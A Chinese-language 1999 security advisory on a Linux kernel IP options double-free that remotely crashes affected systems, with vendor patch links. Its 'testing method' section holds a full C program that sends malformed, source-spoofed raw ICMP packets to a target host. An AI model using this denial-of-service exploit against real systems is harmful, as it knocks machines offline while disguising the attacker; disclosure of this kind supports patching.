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安全漏洞
Linux IP 可选项漏洞

发布日期:1999-06-01
更新日期:1999-06-17

受影响系统:
Debian Linux 2.1
Linux kernel 2.3
Linux kernel 2.2
RedHat Linux 6.0
S.u.S.E. Linux 6.1
描述:
Linux内核中的IPv4选项允许一个远程用户使系统崩溃。

当接收到一个带有错误格式的IP可选项的IP包时,系统将发送一个ICMP参数错误信息,这时内核错误得将socket缓冲区释放了。这将导致该缓冲区被释放两次,这将使系统崩溃。

在Debian Linux 2.1支持的硬件架构中,只有带SPARC处理器的才是有弱点的。


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>

struct icmp_hdr
{
    struct iphdr iph;
    struct icmp icp;
    char text[1002];
} icmph;

int in_cksum(int *ptr, int nbytes)
{
    long sum;
    u_short oddbyte, answer;
    sum = 0;
    while (nbytes > 1)
    {
        sum += *ptr++;
        nbytes -= 2;
    }
    if (nbytes == 1)
    {
        oddbyte = 0;
        *((u_char *)&oddbyte) = *(u_char *)ptr;
        sum += oddbyte;
    }
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    answer = ~sum;
    return(answer);
}

struct sockaddr_in sock_open(char *address, int socket, int prt)
{
        struct hostent *host;
        if ((host = gethostbyname(address)) == NULL)
        {
                perror("Unable to get host name");
                exit(-1);
        }       
        struct sockaddr_in sin;
        bzero((char *)&sin, sizeof(sin));
        sin.sin_family = PF_INET;
        sin.sin_port = htons(prt);
        bcopy(host->h_addr, (char *)&sin.sin_addr, host->h_length);
        return(sin);
}

void main(int argc, char **argv)
{
        int sock, i, ctr, k;
        int on = 1;
        struct sockaddr_in addrs;
        if (argc < 3)
        {
                printf("Usage: %s <ip_addr> <port>\n", argv[0]);
                exit(-1);
        }   
        for (i = 0; i < 1002; i++)
        {
            icmph.text[i] = random() % 255;
        }
        sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) == -1)
        {
            perror("Can't set IP_HDRINCL option on socket");
        }
        if (sock < 0)
        {
            exit(-1);
        }
        fflush(stdout);
        for (ctr = 0;ctr < 1001;ctr++)
        {
            ctr = ctr % 1000;
            addrs = sock_open(argv[1], sock, atoi(argv[2]));
            icmph.iph.version = 4;
            icmph.iph.ihl = 6;
            icmph.iph.tot_len = 1024;
            icmph.iph.id = htons(0x001);
            icmph.iph.ttl = 255;
            icmph.iph.protocol = IPPROTO_ICMP;
            icmph.iph.saddr = ((random() % 255) * 255 * 255 * 255) +
            ((random() % 255) * 65535) +
            ((random() % 255) * 255) +
            (random() % 255);
            icmph.iph.daddr = addrs.sin_addr.s_addr;
            icmph.iph.frag_off = htons(0);
            icmph.icp.icmp_type = random() % 14;
            icmph.icp.icmp_code = random() % 10;
            icmph.icp.icmp_cksum = 0;
            icmph.icp.icmp_id = 2650;
            icmph.icp.icmp_seq = random() % 255;
            icmph.icp.icmp_cksum = in_cksum((int *)&icmph.icp, 1024);
            if (sendto(sock, &icmph, 1024, 0, (struct sockaddr *)&addrs,sizeof(struct sockaddr)) == -1)
            {
                if (errno != ENOBUFS) printf("X");
            }
            if (ctr == 0) printf("b00m ");
            fflush(stdout);
        }
        close(sock);
}



建议:
这个弱点已经在Linux kernel 2.3.5中修复。

各Linux系统的补丁包:

Caldera:
----------------------------------------------------------------------------------
Caldera has made the following fixed RPM available:

ftp://ftp.calderasystems.com/pub/OpenLinux/updates/2.2/current/RPMS/linux-kernel-binary-2.2.5-2.i386.rpm

Debian has made the following fixed kernel available for Debian Linux 2.1 under the SPARC archicture:

http://security.debian.org/dists/stable/updates/binary-sparc/kernel-headers-2.2.9_2.2.9-2_sparc.deb
MD5 checksum: 2d8724b357c1444741f2fdd626e38615

http://security.debian.org/dists/stable/updates/binary-sparc/kernel-image-2.2.9-sun4u_2.2.9-2_sparc.deb
MD5 checksum: bbff1631f05124fed467d833276f8d68

http://security.debian.org/dists/stable/updates/binary-sparc/kernel-image-2.2.9_2.2.9-2_sparc.deb
MD5 checksum: 7c9e15ae2c7de1d84928660b964906ad
----------------------------------------------------------------------------------

RedHat:
----------------------------------------------------------------------------------

RedHat has made the following fixed RPMs available for RedHat Linux 6.0:

Intel
-----
rpm -ivh ftp://updates.redhat.com/6.0/i386/kernel-2.2.5-22.i386.rpm
rpm -ivh ftp://updates.redhat.com/6.0/i386/kernel-2.2.5-22.i586.rpm
rpm -ivh ftp://updates.redhat.com/6.0/i386/kernel-smp-2.2.5-22.i586.rpm
rpm -ivh ftp://updates.redhat.com/6.0/i386/kernel-2.2.5-22.i686.rpm
rpm -ivh ftp://updates.redhat.com/6.0/i386/kernel-smp-2.2.5-22.i686.rpm

Alpha
-----
rpm -ivh ftp://updates.redhat.com/6.0/alpha/kernel-2.2.5-22.alpha.rpm
rpm -ivh ftp://updates.redhat.com/6.0/alpha/kernel-smp-2.2.5-22.alpha.rpm

SPARC/UltraSPARC
----------------
Note: These packages obsolete the earlier kernel-2.2.5-21 release
for SPARC. The problems fixed by the 2.2.5-21 release are also
fixed in 2.2.5-22.

rpm -ivh ftp://updates.redhat.com/6.0/sparc/kernel-2.2.5-22.sparc.rpm
rpm -ivh ftp://updates.redhat.com/6.0/sparc/kernel-smp-2.2.5-22.sparc.rpm
rpm -ivh ftp://updates.redhat.com/6.0/sparc/kernel-2.2.5-22.sparc64.rpm
rpm -ivh ftp://updates.redhat.com/6.0/sparc/kernel-smp-2.2.5-22.sparc64.rpm

Source RPM
----------
rpm -Uvh ftp://updates.redhat.com/6.0/SRPMS/kernel-2.2.5-22.src.rpm
----------------------------------------------------------------------------------

SuSe:
----------------------------------------------------------------------------------

SuSe has made the following fixed available:

ftp://ftp.suse.com/pub/SuSE-Linux/suse_update/kernel/linux-2.2.7.SuSE.tgz
ftp://ftp.suse.com/pub/SuSE-Linux/suse_update/suse61/d1/lx_suse-2.2.7.SuSE-3.i386.rpm
----------------------------------------------------------------------------------




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